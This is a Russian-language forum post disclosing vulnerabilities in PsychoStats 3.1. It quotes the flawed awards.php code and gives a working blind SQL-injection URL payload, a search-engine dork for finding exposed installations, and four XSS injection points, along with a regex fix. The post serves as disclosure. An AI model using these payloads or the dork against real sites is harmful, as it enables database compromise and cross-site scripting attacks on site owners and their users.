PsychoStats

Discussion in 'Веб-уязвимости' started by oRb, 3 Jan 2010.

  1. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Продукт: PsychoStats 3.1 http://www.psychostats.com/
    Уязвимость: Blind SQL-injection
    Описание:
    файл awards.php
    PHP:
    if (empty($d) or !preg_match('/\d\d\d\d-\d\d?-\d\d?/'$d)) {
        
    $d date('Y-m-d');
    //    $d = $range[$v]['max'];
    }
    ...
    $cmd "SELECT awarddate FROM $ps->t_awards WHERE awardrange = '$v' AND awarddate <= '$d' ";
    if (
    $p$cmd .= "AND topplrid=$_p ";
    $cmd .= "ORDER BY awarddate DESC LIMIT 1";
    list(
    $d) = $ps->db->fetch_list($cmd);
    Результат попадает вторым параметром в функцию date. Т.е. можно определять по дате в календаре результат выполнения sql запроса. (изврат)
    Эксплойт:
    Code:
    /awards.php?d=2009-12-01'+and+0+union+select+1%23
    Дорк: "Powered by PsychoStats" inurl:awards.php
    Зависимости: magic_quotes_gpc = off
    Решение: замена паттерна на следующий "/^\d\d\d\d-\d\d?-\d\d?$/"


    XSS'ки:
    /query.php?s=[XSS]
    /ajax/flaglist.php?id='%3E[XSS] (работает только для зареганных)
    /ajax/iconlist.php?id='%3E[XSS] (работает только для зареганных)
    /admin/login.php?ref=%22%3E[XSS]
     
    10 people like this.